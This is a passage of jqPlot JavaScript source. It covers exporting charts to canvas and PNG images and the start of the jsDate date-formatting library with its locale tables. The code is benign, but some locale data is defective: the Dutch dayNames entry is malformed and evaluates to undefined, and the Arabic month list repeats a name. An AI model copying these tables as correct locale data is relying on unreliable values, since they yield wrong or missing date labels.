// excanvas and hence IE < 9 do not support toDataURL and cannot export images. if ($.jqplot.use_excanvas) { return null; } var newCanvas = document.createElement("canvas"); var h = $(this).outerHeight(true); var w = $(this).outerWidth(true); var offs = $(this).offset(); var plotleft = offs.left; var plottop = offs.top; var transx = 0, transy = 0; // have to check if any elements are hanging outside of plot area before rendering, // since changing width of canvas will erase canvas. var clses = ['jqplot-table-legend', 'jqplot-xaxis-tick', 'jqplot-x2axis-tick', 'jqplot-yaxis-tick', 'jqplot-y2axis-tick', 'jqplot-y3axis-tick', 'jqplot-y4axis-tick', 'jqplot-y5axis-tick', 'jqplot-y6axis-tick', 'jqplot-y7axis-tick', 'jqplot-y8axis-tick', 'jqplot-y9axis-tick', 'jqplot-xaxis-label', 'jqplot-x2axis-label', 'jqplot-yaxis-label', 'jqplot-y2axis-label', 'jqplot-y3axis-label', 'jqplot-y4axis-label', 'jqplot-y5axis-label', 'jqplot-y6axis-label', 'jqplot-y7axis-label', 'jqplot-y8axis-label', 'jqplot-y9axis-label' ]; var temptop, templeft, tempbottom, tempright; for (var i = 0; i < clses.length; i++) { $(this).find('.'+clses[i]).each(function() { temptop = $(this).offset().top - plottop; templeft = $(this).offset().left - plotleft; tempright = templeft + $(this).outerWidth(true) + transx; tempbottom = temptop + $(this).outerHeight(true) + transy; if (templeft < -transx) { w = w - transx - templeft; transx = -templeft; } if (temptop < -transy) { h = h - transy - temptop; transy = - temptop; } if (tempright > w) { w = tempright; } if (tempbottom > h) { h = tempbottom; } }); } newCanvas.width = w + Number(x_offset); newCanvas.height = h + Number(y_offset); var newContext = newCanvas.getContext("2d"); newContext.save(); newContext.fillStyle = backgroundColor; newContext.fillRect(0,0, newCanvas.width, newCanvas.height); newContext.restore(); newContext.translate(transx, transy); newContext.textAlign = 'left'; newContext.textBaseline = 'top'; function getLineheight(el) { var lineheight = parseInt($(el).css('line-height'), 10); if (isNaN(lineheight)) { lineheight = parseInt($(el).css('font-size'), 10) * 1.2; } return lineheight; } function writeWrappedText (el, context, text, left, top, canvasWidth) { var lineheight = getLineheight(el); var tagwidth = $(el).innerWidth(); var tagheight = $(el).innerHeight(); var words = text.split(/\s+/); var wl = words.length; var w = ''; var breaks = []; var temptop = top; var templeft = left; for (var i=0; i<wl; i++) { w += words[i]; if (context.measureText(w).width > tagwidth && w.length > words[i].length) { breaks.push(i); w = ''; i--; } } if (breaks.length === 0) { // center text if necessary if ($(el).css('textAlign') === 'center') { templeft = left + (canvasWidth - context.measureText(w).width)/2 - transx; } context.fillText(text, templeft, top); } else { w = words.slice(0, breaks[0]).join(' '); // center text if necessary if ($(el).css('textAlign') === 'center') { templeft = left + (canvasWidth - context.measureText(w).width)/2 - transx; } context.fillText(w, templeft, temptop); temptop += lineheight; for (var i=1, l=breaks.length; i<l; i++) { w = words.slice(breaks[i-1], breaks[i]).join(' '); // center text if necessary if ($(el).css('textAlign') === 'center') { templeft = left + (canvasWidth - context.measureText(w).width)/2 - transx; } context.fillText(w, templeft, temptop); temptop += lineheight; } w = words.slice(breaks[i-1], words.length).join(' '); // center text if necessary if ($(el).css('textAlign') === 'center') { templeft = left + (canvasWidth - context.measureText(w).width)/2 - transx; } context.fillText(w, templeft, temptop); } } function _jqpToImage(el, x_offset, y_offset) { var tagname = el.tagName.toLowerCase(); var p = $(el).position(); var css = window.getComputedStyle ? window.getComputedStyle(el, "") : el.currentStyle; // for IE < 9 var left = x_offset + p.left + parseInt(css.marginLeft, 10) + parseInt(css.borderLeftWidth, 10) + parseInt(css.paddingLeft, 10); var top = y_offset + p.top + parseInt(css.marginTop, 10) + parseInt(css.borderTopWidth, 10)+ parseInt(css.paddingTop, 10); var w = newCanvas.width; // var left = x_offset + p.left + $(el).css('marginLeft') + $(el).css('borderLeftWidth') // somehow in here, for divs within divs, the width of the inner div should be used instead of the canvas. if ((tagname == 'div' || tagname == 'span') && !$(el).hasClass('jqplot-highlighter-tooltip') && !$(el).hasClass('jqplot-canvasOverlay-tooltip')) { $(el).children().each(function() { _jqpToImage(this, left, top); }); var text = $(el).jqplotChildText(); if (text) { newContext.font = $(el).jqplotGetComputedFontStyle(); newContext.fillStyle = $(el).css('color'); writeWrappedText(el, newContext, text, left, top, w); } } // handle the standard table legend else if (tagname === 'table' && $(el).hasClass('jqplot-table-legend')) { newContext.strokeStyle = $(el).css('border-top-color'); newContext.fillStyle = $(el).css('background-color'); newContext.fillRect(left, top, $(el).innerWidth(), $(el).innerHeight()); if (parseInt($(el).css('border-top-width'), 10) > 0) { newContext.strokeRect(left, top, $(el).innerWidth(), $(el).innerHeight()); } // find all the swatches $(el).find('div.jqplot-table-legend-swatch-outline').each(function() { // get the first div and stroke it var elem = $(this); newContext.strokeStyle = elem.css('border-top-color'); var l = left + elem.position().left; var t = top + elem.position().top; newContext.strokeRect(l, t, elem.innerWidth(), elem.innerHeight()); // now fill the swatch l += parseInt(elem.css('padding-left'), 10); t += parseInt(elem.css('padding-top'), 10); var h = elem.innerHeight() - 2 * parseInt(elem.css('padding-top'), 10); var w = elem.innerWidth() - 2 * parseInt(elem.css('padding-left'), 10); var swatch = elem.children('div.jqplot-table-legend-swatch'); newContext.fillStyle = swatch.css('background-color'); newContext.fillRect(l, t, w, h); }); // now add text $(el).find('td.jqplot-table-legend-label').each(function(){ var elem = $(this); var l = left + elem.position().left; var t = top + elem.position().top + parseInt(elem.css('padding-top'), 10); newContext.font = elem.jqplotGetComputedFontStyle(); newContext.fillStyle = elem.css('color'); writeWrappedText(elem, newContext, elem.text(), l, t, w); }); var elem = null; } else if (tagname == 'canvas') { newContext.drawImage(el, left, top); } } $(this).children().each(function() { _jqpToImage(this, x_offset, y_offset); }); return newCanvas; }; // return the raw image data string. // Should work on canvas supporting browsers. $.fn.jqplotToImageStr = function(options) { var imgCanvas = $(this).jqplotToImageCanvas(options); if (imgCanvas) { return imgCanvas.toDataURL("image/png"); } else { return null; } }; // return a DOM <img> element and return it. // Should work on canvas supporting browsers. $.fn.jqplotToImageElem = function(options) { var elem = document.createElement("img"); var str = $(this).jqplotToImageStr(options); elem.src = str; return elem; }; // return a string for an <img> element and return it. // Should work on canvas supporting browsers. $.fn.jqplotToImageElemStr = function(options) { var str = '<img src='+$(this).jqplotToImageStr(options)+' />'; return str; }; // Not guaranteed to work, even on canvas supporting browsers due to // limitations with location.href and browser support. $.fn.jqplotSaveImage = function() { var imgData = $(this).jqplotToImageStr({}); if (imgData) { window.location.href = imgData.replace("image/png", "image/octet-stream"); } }; // Not guaranteed to work, even on canvas supporting browsers due to // limitations with window.open and arbitrary data. $.fn.jqplotViewImage = function() { var imgStr = $(this).jqplotToImageElemStr({}); var imgData = $(this).jqplotToImageStr({}); if (imgStr) { var w = window.open(''); w.document.open("image/png"); w.document.write(imgStr); w.document.close(); w = null; } }; /** * @description * <p>Object with extended date parsing and formatting capabilities. * This library borrows many concepts and ideas from the Date Instance * Methods by Ken Snyder along with some parts of Ken's actual code.</p> * * <p>jsDate takes a different approach by not extending the built-in * Date Object, improving date parsing, allowing for multiple formatting * syntaxes and multiple and more easily expandable localization.</p> * * @author Chris Leonello * @date #date# * @version #VERSION# * @copyright (c) 2010-2015 Chris Leonello * jsDate is currently available for use in all personal or commercial projects * under both the MIT and GPL version 2.0 licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * <p>Ken's original Date Instance Methods and copyright notice:</p> * <pre> * Ken Snyder (ken d snyder at gmail dot com) * 2008-09-10 * version 2.0.2 (http://kendsnyder.com/sandbox/date/) * Creative Commons Attribution License 3.0 (http://creativecommons.org/licenses/by/3.0/) * </pre> * * @class * @name jsDate * @param {String | Number | Array | Date Object | Options Object} arguments Optional arguments, either a parsable date/time string, * a JavaScript timestamp, an array of numbers of form [year, month, day, hours, minutes, seconds, milliseconds], * a Date object, or an options object of form {syntax: "perl", date:some Date} where all options are optional. */ var jsDate = function () { this.syntax = jsDate.config.syntax; this._type = "jsDate"; this.proxy = new Date(); this.options = {}; this.locale = jsDate.regional.getLocale(); this.formatString = ''; this.defaultCentury = jsDate.config.defaultCentury; switch ( arguments.length ) { case 0: break; case 1: // other objects either won't have a _type property or, // if they do, it shouldn't be set to "jsDate", so // assume it is an options argument. if (get_type(arguments[0]) == "[object Object]" && arguments[0]._type != "jsDate") { var opts = this.options = arguments[0]; this.syntax = opts.syntax || this.syntax; this.defaultCentury = opts.defaultCentury || this.defaultCentury; this.proxy = jsDate.createDate(opts.date); } else { this.proxy = jsDate.createDate(arguments[0]); } break; default: var a = []; for ( var i=0; i<arguments.length; i++ ) { a.push(arguments[i]); } // this should be the current date/time? this.proxy = new Date(); this.proxy.setFullYear.apply( this.proxy, a.slice(0,3) ); if ( a.slice(3).length ) { this.proxy.setHours.apply( this.proxy, a.slice(3) ); } break; } }; /** * @namespace Configuration options that will be used as defaults for all instances on the page. * @property {String} defaultLocale The default locale to use [en]. * @property {String} syntax The default syntax to use [perl]. * @property {Number} defaultCentury The default centry for 2 digit dates. */ jsDate.config = { defaultLocale: 'en', syntax: 'perl', defaultCentury: 1900 }; /** * Add an arbitrary amount to the currently stored date * * @param {Number} number * @param {String} unit * @returns {jsDate} */ jsDate.prototype.add = function(number, unit) { var factor = multipliers[unit] || multipliers.day; if (typeof factor == 'number') { this.proxy.setTime(this.proxy.getTime() + (factor * number)); } else { factor.add(this, number); } return this; }; /** * Create a new jqplot.date object with the same date * * @returns {jsDate} */ jsDate.prototype.clone = function() { return new jsDate(this.proxy.getTime()); }; /** * Get the UTC TimeZone Offset of this date in milliseconds. * * @returns {Number} */ jsDate.prototype.getUtcOffset = function() { return this.proxy.getTimezoneOffset() * 60000; }; /** * Find the difference between this jsDate and another date. * * @param {String| Number| Array| jsDate Object| Date Object} dateObj * @param {String} unit * @param {Boolean} allowDecimal * @returns {Number} Number of units difference between dates. */ jsDate.prototype.diff = function(dateObj, unit, allowDecimal) { // ensure we have a Date object dateObj = new jsDate(dateObj); if (dateObj === null) { return null; } // get the multiplying factor integer or factor function var factor = multipliers[unit] || multipliers.day; if (typeof factor == 'number') { // multiply var unitDiff = (this.proxy.getTime() - dateObj.proxy.getTime()) / factor; } else { // run function var unitDiff = factor.diff(this.proxy, dateObj.proxy); } // if decimals are not allowed, round toward zero return (allowDecimal ? unitDiff : Math[unitDiff > 0 ? 'floor' : 'ceil'](unitDiff)); }; /** * Get the abbreviated name of the current week day * * @returns {String} */ jsDate.prototype.getAbbrDayName = function() { return jsDate.regional[this.locale]["dayNamesShort"][this.proxy.getDay()]; }; /** * Get the abbreviated name of the current month * * @returns {String} */ jsDate.prototype.getAbbrMonthName = function() { return jsDate.regional[this.locale]["monthNamesShort"][this.proxy.getMonth()]; }; /** * Get UPPER CASE AM or PM for the current time * * @returns {String} */ jsDate.prototype.getAMPM = function() { return this.proxy.getHours() >= 12 ? 'PM' : 'AM'; }; /** * Get lower case am or pm for the current time * * @returns {String} */ jsDate.prototype.getAmPm = function() { return this.proxy.getHours() >= 12 ? 'pm' : 'am'; }; /** * Get the century (19 for 20th Century) * * @returns {Integer} Century (19 for 20th century). */ jsDate.prototype.getCentury = function() { return parseInt(this.proxy.getFullYear()/100, 10); }; /** * Implements Date functionality */ jsDate.prototype.getDate = function() { return this.proxy.getDate(); }; /** * Implements Date functionality */ jsDate.prototype.getDay = function() { return this.proxy.getDay(); }; /** * Get the Day of week 1 (Monday) thru 7 (Sunday) * * @returns {Integer} Day of week 1 (Monday) thru 7 (Sunday) */ jsDate.prototype.getDayOfWeek = function() { var dow = this.proxy.getDay(); return dow===0?7:dow; }; /** * Get the day of the year * * @returns {Integer} 1 - 366, day of the year */ jsDate.prototype.getDayOfYear = function() { var d = this.proxy; var ms = d - new Date('' + d.getFullYear() + '/1/1 GMT'); ms += d.getTimezoneOffset()*60000; d = null; return parseInt(ms/60000/60/24, 10)+1; }; /** * Get the name of the current week day * * @returns {String} */ jsDate.prototype.getDayName = function() { return jsDate.regional[this.locale]["dayNames"][this.proxy.getDay()]; }; /** * Get the week number of the given year, starting with the first Sunday as the first week * @returns {Integer} Week number (13 for the 13th full week of the year). */ jsDate.prototype.getFullWeekOfYear = function() { var d = this.proxy; var doy = this.getDayOfYear(); var rdow = 6-d.getDay(); var woy = parseInt((doy+rdow)/7, 10); return woy; }; /** * Implements Date functionality */ jsDate.prototype.getFullYear = function() { return this.proxy.getFullYear(); }; /** * Get the GMT offset in hours and minutes (e.g. +06:30) * * @returns {String} */ jsDate.prototype.getGmtOffset = function() { // divide the minutes offset by 60 var hours = this.proxy.getTimezoneOffset() / 60; // decide if we are ahead of or behind GMT var prefix = hours < 0 ? '+' : '-'; // remove the negative sign if any hours = Math.abs(hours); // add the +/- to the padded number of hours to : to the padded minutes return prefix + addZeros(Math.floor(hours), 2) + ':' + addZeros((hours % 1) * 60, 2); }; /** * Implements Date functionality */ jsDate.prototype.getHours = function() { return this.proxy.getHours(); }; /** * Get the current hour on a 12-hour scheme * * @returns {Integer} */ jsDate.prototype.getHours12 = function() { var hours = this.proxy.getHours(); return hours > 12 ? hours - 12 : (hours == 0 ? 12 : hours); }; jsDate.prototype.getIsoWeek = function() { var d = this.proxy; var woy = this.getWeekOfYear(); var dow1_1 = (new Date('' + d.getFullYear() + '/1/1')).getDay(); // First week is 01 and not 00 as in the case of %U and %W, // so we add 1 to the final result except if day 1 of the year // is a Monday (then %W returns 01). // We also need to subtract 1 if the day 1 of the year is // Friday-Sunday, so the resulting equation becomes: var idow = woy + (dow1_1 > 4 || dow1_1 <= 1 ? 0 : 1); if(idow == 53 && (new Date('' + d.getFullYear() + '/12/31')).getDay() < 4) { idow = 1; } else if(idow === 0) { d = new jsDate(new Date('' + (d.getFullYear()-1) + '/12/31')); idow = d.getIsoWeek(); } d = null; return idow; }; /** * Implements Date functionality */ jsDate.prototype.getMilliseconds = function() { return this.proxy.getMilliseconds(); }; /** * Implements Date functionality */ jsDate.prototype.getMinutes = function() { return this.proxy.getMinutes(); }; /** * Implements Date functionality */ jsDate.prototype.getMonth = function() { return this.proxy.getMonth(); }; /** * Get the name of the current month * * @returns {String} */ jsDate.prototype.getMonthName = function() { return jsDate.regional[this.locale]["monthNames"][this.proxy.getMonth()]; }; /** * Get the number of the current month, 1-12 * * @returns {Integer} */ jsDate.prototype.getMonthNumber = function() { return this.proxy.getMonth() + 1; }; /** * Implements Date functionality */ jsDate.prototype.getSeconds = function() { return this.proxy.getSeconds(); }; /** * Return a proper two-digit year integer * * @returns {Integer} */ jsDate.prototype.getShortYear = function() { return this.proxy.getYear() % 100; }; /** * Implements Date functionality */ jsDate.prototype.getTime = function() { return this.proxy.getTime(); }; /** * Get the timezone abbreviation * * @returns {String} Abbreviation for the timezone */ jsDate.prototype.getTimezoneAbbr = function() { return this.proxy.toString().replace(/^.*\(([^)]+)\)$/, '$1'); }; /** * Get the browser-reported name for the current timezone (e.g. MDT, Mountain Daylight Time) * * @returns {String} */ jsDate.prototype.getTimezoneName = function() { var match = /(?:\((.+)\)$| ([A-Z]{3}) )/.exec(this.toString()); return match[1] || match[2] || 'GMT' + this.getGmtOffset(); }; /** * Implements Date functionality */ jsDate.prototype.getTimezoneOffset = function() { return this.proxy.getTimezoneOffset(); }; /** * Get the week number of the given year, starting with the first Monday as the first week * @returns {Integer} Week number (13 for the 13th week of the year). */ jsDate.prototype.getWeekOfYear = function() { var doy = this.getDayOfYear(); var rdow = 7 - this.getDayOfWeek(); var woy = parseInt((doy+rdow)/7, 10); return woy; }; /** * Get the current date as a Unix timestamp * * @returns {Integer} */ jsDate.prototype.getUnix = function() { return Math.round(this.proxy.getTime() / 1000, 0); }; /** * Implements Date functionality */ jsDate.prototype.getYear = function() { return this.proxy.getYear(); }; /** * Return a date one day ahead (or any other unit) * * @param {String} unit Optional, year | month | day | week | hour | minute | second | millisecond * @returns {jsDate} */ jsDate.prototype.next = function(unit) { unit = unit || 'day'; return this.clone().add(1, unit); }; /** * Set the jsDate instance to a new date. * * @param {String | Number | Array | Date Object | jsDate Object | Options Object} arguments Optional arguments, * either a parsable date/time string, * a JavaScript timestamp, an array of numbers of form [year, month, day, hours, minutes, seconds, milliseconds], * a Date object, jsDate Object or an options object of form {syntax: "perl", date:some Date} where all options are optional. */ jsDate.prototype.set = function() { switch ( arguments.length ) { case 0: this.proxy = new Date(); break; case 1: // other objects either won't have a _type property or, // if they do, it shouldn't be set to "jsDate", so // assume it is an options argument. if (get_type(arguments[0]) == "[object Object]" && arguments[0]._type != "jsDate") { var opts = this.options = arguments[0]; this.syntax = opts.syntax || this.syntax; this.defaultCentury = opts.defaultCentury || this.defaultCentury; this.proxy = jsDate.createDate(opts.date); } else { this.proxy = jsDate.createDate(arguments[0]); } break; default: var a = []; for ( var i=0; i<arguments.length; i++ ) { a.push(arguments[i]); } // this should be the current date/time this.proxy = new Date(); this.proxy.setFullYear.apply( this.proxy, a.slice(0,3) ); if ( a.slice(3).length ) { this.proxy.setHours.apply( this.proxy, a.slice(3) ); } break; } return this; }; /** * Sets the day of the month for a specified date according to local time. * @param {Integer} dayValue An integer from 1 to 31, representing the day of the month. */ jsDate.prototype.setDate = function(n) { this.proxy.setDate(n); return this; }; /** * Sets the full year for a specified date according to local time. * @param {Integer} yearValue The numeric value of the year, for example, 1995. * @param {Integer} monthValue Optional, between 0 and 11 representing the months January through December. * @param {Integer} dayValue Optional, between 1 and 31 representing the day of the month. If you specify the dayValue parameter, you must also specify the monthValue. */ jsDate.prototype.setFullYear = function() { this.proxy.setFullYear.apply(this.proxy, arguments); return this; }; /** * Sets the hours for a specified date according to local time. * * @param {Integer} hoursValue An integer between 0 and 23, representing the hour. * @param {Integer} minutesValue Optional, An integer between 0 and 59, representing the minutes. * @param {Integer} secondsValue Optional, An integer between 0 and 59, representing the seconds. * If you specify the secondsValue parameter, you must also specify the minutesValue. * @param {Integer} msValue Optional, A number between 0 and 999, representing the milliseconds. * If you specify the msValue parameter, you must also specify the minutesValue and secondsValue. */ jsDate.prototype.setHours = function() { this.proxy.setHours.apply(this.proxy, arguments); return this; }; /** * Implements Date functionality */ jsDate.prototype.setMilliseconds = function(n) { this.proxy.setMilliseconds(n); return this; }; /** * Implements Date functionality */ jsDate.prototype.setMinutes = function() { this.proxy.setMinutes.apply(this.proxy, arguments); return this; }; /** * Implements Date functionality */ jsDate.prototype.setMonth = function() { this.proxy.setMonth.apply(this.proxy, arguments); return this; }; /** * Implements Date functionality */ jsDate.prototype.setSeconds = function() { this.proxy.setSeconds.apply(this.proxy, arguments); return this; }; /** * Implements Date functionality */ jsDate.prototype.setTime = function(n) { this.proxy.setTime(n); return this; }; /** * Implements Date functionality */ jsDate.prototype.setYear = function() { this.proxy.setYear.apply(this.proxy, arguments); return this; }; /** * Provide a formatted string representation of this date. * * @param {String} formatString A format string. * See: {@link jsDate.formats}. * @returns {String} Date String. */ jsDate.prototype.strftime = function(formatString) { formatString = formatString || this.formatString || jsDate.regional[this.locale]['formatString']; return jsDate.strftime(this, formatString, this.syntax); }; /** * Return a String representation of this jsDate object. * @returns {String} Date string. */ jsDate.prototype.toString = function() { return this.proxy.toString(); }; /** * Convert the current date to an 8-digit integer (%Y%m%d) * * @returns {Integer} */ jsDate.prototype.toYmdInt = function() { return (this.proxy.getFullYear() * 10000) + (this.getMonthNumber() * 100) + this.proxy.getDate(); }; /** * @namespace Holds localizations for month/day names. * <p>jsDate attempts to detect locale when loaded and defaults to 'en'. * If a localization is detected which is not available, jsDate defaults to 'en'. * Additional localizations can be added after jsDate loads. After adding a localization, * call the jsDate.regional.getLocale() method. Currently, en, fr and de are defined.</p> * * <p>Localizations must be an object and have the following properties defined: monthNames, monthNamesShort, dayNames, dayNamesShort and Localizations are added like:</p> * <pre class="code"> * jsDate.regional['en'] = { * monthNames : 'January February March April May June July August September October November December'.split(' '), * monthNamesShort : 'Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec'.split(' '), * dayNames : 'Sunday Monday Tuesday Wednesday Thursday Friday Saturday'.split(' '), * dayNamesShort : 'Sun Mon Tue Wed Thu Fri Sat'.split(' ') * }; * </pre> * <p>After adding localizations, call <code>jsDate.regional.getLocale();</code> to update the locale setting with the * new localizations.</p> */ jsDate.regional = { 'en': { monthNames: ['January','February','March','April','May','June','July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun','Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], formatString: '%Y-%m-%d %H:%M:%S' }, 'fr': { monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin','Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Jan','Fév','Mar','Avr','Mai','Jun','Jul','Aoû','Sep','Oct','Nov','Déc'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim','Lun','Mar','Mer','Jeu','Ven','Sam'], formatString: '%Y-%m-%d %H:%M:%S' }, 'de': { monthNames: ['Januar','Februar','März','April','Mai','Juni','Juli','August','September','Oktober','November','Dezember'], monthNamesShort: ['Jan','Feb','Mär','Apr','Mai','Jun','Jul','Aug','Sep','Okt','Nov','Dez'], dayNames: ['Sonntag','Montag','Dienstag','Mittwoch','Donnerstag','Freitag','Samstag'], dayNamesShort: ['So','Mo','Di','Mi','Do','Fr','Sa'], formatString: '%Y-%m-%d %H:%M:%S' }, 'es': { monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio', 'Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'], monthNamesShort: ['Ene','Feb','Mar','Abr','May','Jun', 'Jul','Ago','Sep','Oct','Nov','Dic'], dayNames: ['Domingo','Lunes','Martes','Miércoles','Jueves','Viernes','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mié','Juv','Vie','Sáb'], formatString: '%Y-%m-%d %H:%M:%S' }, 'ru': { monthNames: ['Январь','Февраль','Март','Апрель','Май','Июнь','Июль','Август','Сентябрь','Октябрь','Ноябрь','Декабрь'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн','Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['воскресенье','понедельник','вторник','среда','четверг','пятница','суббота'], dayNamesShort: ['вск','пнд','втр','срд','чтв','птн','сбт'], formatString: '%Y-%m-%d %H:%M:%S' }, 'ar': { monthNames: ['كانون الثاني', 'شباط', 'آذار', 'نيسان', 'آذار', 'حزيران','تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول'], monthNamesShort: ['1','2','3','4','5','6','7','8','9','10','11','12'], dayNames: ['السبت', 'الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة'], dayNamesShort: ['سبت', 'أحد', 'اثنين', 'ثلاثاء', 'أربعاء', 'خميس', 'جمعة'], formatString: '%Y-%m-%d %H:%M:%S' }, 'pt': { monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun','Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], formatString: '%Y-%m-%d %H:%M:%S' }, 'pt-BR': { monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun','Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], formatString: '%Y-%m-%d %H:%M:%S' }, 'pl': { monthNames: ['Styczeń','Luty','Marzec','Kwiecień','Maj','Czerwiec','Lipiec','Sierpień','Wrzesień','Październik','Listopad','Grudzień'], monthNamesShort: ['Sty', 'Lut', 'Mar', 'Kwi', 'Maj', 'Cze','Lip', 'Sie', 'Wrz', 'Paź', 'Lis', 'Gru'], dayNames: ['Niedziela', 'Poniedziałek', 'Wtorek', 'Środa', 'Czwartek', 'Piątek', 'Sobota'], dayNamesShort: ['Ni', 'Pn', 'Wt', 'Śr', 'Cz', 'Pt', 'Sb'], formatString: '%Y-%m-%d %H:%M:%S' }, 'nl': { monthNames: ['Januari','Februari','Maart','April','Mei','Juni','July','Augustus','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun','Jul','Aug','Sep','Okt','Nov','Dec'], dayNames:','['Zondag','Maandag','Dinsdag','Woensdag','Donderdag','Vrijdag','Zaterdag'], dayNamesShort: ['Zo','Ma','Di','Wo','Do','Vr','Za'], formatString: '%Y-%m-%d %H:%M:%S' }, 'sv': { monthNames: ['januari','februari','mars','april','maj','juni','juli','augusti','september','oktober','november','december'], monthNamesShort: ['jan','feb','mar','apr','maj','jun','jul','aug','sep','okt','nov','dec'], dayNames: ['söndag','måndag','tisdag','onsdag','torsdag','fredag','lördag'], dayNamesShort: ['sön','mån','tis','ons','tor','fre','lör'], formatString: '%Y-%m-%d %H:%M:%S' }, 'it': { monthNames: ['Gennaio','Febbraio','Marzo','Aprile','Maggio','Giugno','Luglio','Agosto','Settembre','Ottobre','Novembre','Dicembre'], monthNamesShort: ['Gen','Feb','Mar','Apr','Mag','Giu','Lug','Ago','Set','Ott','Nov','Dic'], dayNames: ['Domenica','Lunedi','Martedi','Mercoledi','Giovedi','Venerdi','Sabato'], dayNamesShort: ['Dom','Lun','Mar','Mer','Gio','Ven','Sab'], formatString: '%d-%m-%Y %H:%M:%S' } }; // Set english variants to 'en' jsDate.regional['en-US'] = jsDate.regional['en-GB'] = jsDate.regional['en']; /** * Try to determine the users locale based on the lang attribute of the html page. Defaults to 'en' * if it cannot figure out a locale of if the locale does not have a localization defined. * @returns {String} locale */ jsDate.regional.getLocale = function () { var l = jsDate.config.defaultLocale; if ( document && document.getElementsByTagName('html') && document.getElementsByTagName('html')[0].lang ) { l = document.getElementsByTagName('html')[0].lang; if (!jsDate.regional.hasOwnProperty(l)) { l = jsDate.config.defaultLocale; } } return l; }; // ms in day var day = 24 * 60 * 60 * 1000; // padd a number with zeros var addZeros = function(num, digits) { num = String(num); var i = digits - num.length; var s = String(Math.pow(10, i)).slice(1); return s.concat(num); }; // representations used for calculating differences between dates. // This borrows heavily from Ken Snyder's work. var multipliers = { millisecond: 1, second: 1000, minute: 60 * 1000, hour: 60 * 60 * 1000, day: day, week: 7 * day, month: { // add a number of months add: function(d, number) { // add any years needed (increments of 12) multipliers.year.add(d, Math[number > 0 ? 'floor' : 'ceil'](number / 12)); // ensure that we properly wrap betwen December and January // 11 % 12 = 11 // 12 % 12 = 0 var prevMonth = d.getMonth() + (number % 12); if (prevMonth == 12) { prevMonth = 0; d.setYear(d.getFullYear() + 1); } else if (prevMonth == -1) { prevMonth = 11; d.setYear(d.getFullYear() - 1); } d.setMonth(prevMonth); }, // get the number of months between two Date objects (decimal to the nearest day) diff: function(d1, d2) { // get the number of years var diffYears = d1.getFullYear() - d2.getFullYear(); // get the number of remaining months var diffMonths = d1.getMonth() - d2.getMonth() + (diffYears * 12); // get the number of remaining days var diffDays = d1.getDate() - d2.getDate(); // return the month difference with the days difference as a decimal return diffMonths + (diffDays / 30); } }, year: { // add a number of years add: function(d, number) { d.setYear(d.getFullYear() + Math[number > 0 ? 'floor' : 'ceil'](number)); }, // get the number of years between two Date objects (decimal to the nearest day) diff: function(d1, d2) { return multipliers.month.diff(d1, d2) / 12; } } }; // // Alias each multiplier with an 's' to allow 'year' and 'years' for example. // This comes from Ken Snyders work. // for (var unit in multipliers) { if (unit.substring(unit.length - 1) != 's') { // IE will iterate newly added properties :| multipliers[unit + 's'] = multipliers[unit]; } } // // take a jsDate instance and a format code and return the formatted value. // This is a somewhat modified version of Ken Snyder's method. // var format = function(d, code, syntax) { // if shorcut codes are used, recursively expand those. if (jsDate.formats[syntax]["shortcuts"][code]) { return jsDate.strftime(d, jsDate.formats[syntax]["shortcuts"][code], syntax); } else { // get the format code function and addZeros() argument var getter = (jsDate.formats[syntax]["codes"][code] || '').split('.'); var nbr = d['get' + getter[0]] ? d['get' + getter[0]]() : ''; if (getter[1]) { nbr = addZeros(nbr, getter[1]); } return nbr; } }; /** * @static * Static function for convert a date to a string according to a given format. Also acts as namespace for strftime format codes. * <p>strftime formatting can be accomplished without creating a jsDate object by calling jsDate.strftime():</p> * <pre class="code"> * var formattedDate = jsDate.strftime('Feb 8, 2006 8:48:32', '%Y-%m-%d %H:%M:%S'); * </pre> * @param {String | Number | Array | jsDate Object | Date Object} date A parsable date string, JavaScript time stamp, Array of form [year, month, day, hours, minutes, seconds, milliseconds], jsDate Object or Date object. * @param {String} formatString String with embedded date formatting codes. * See: {@link jsDate.formats}. * @param {String} syntax Optional syntax to use [default perl]. * @param {String} locale Optional locale to use. * @returns {String} Formatted representation of the date. */ // // Logic as implemented here is very similar to Ken Snyder's Date Instance Methods. // jsDate.strftime = function(d, formatString, syntax, locale) { var syn = 'perl'; var loc = jsDate.regional.getLocale(); // check if syntax and locale are available or reversed if (syntax && jsDate.formats.hasOwnProperty(syntax)) { syn = syntax; } else if (syntax && jsDate.regional.hasOwnProperty(syntax)) { loc = syntax; } if (locale && jsDate.formats.hasOwnProperty(locale)) { syn = locale; } else if (locale && 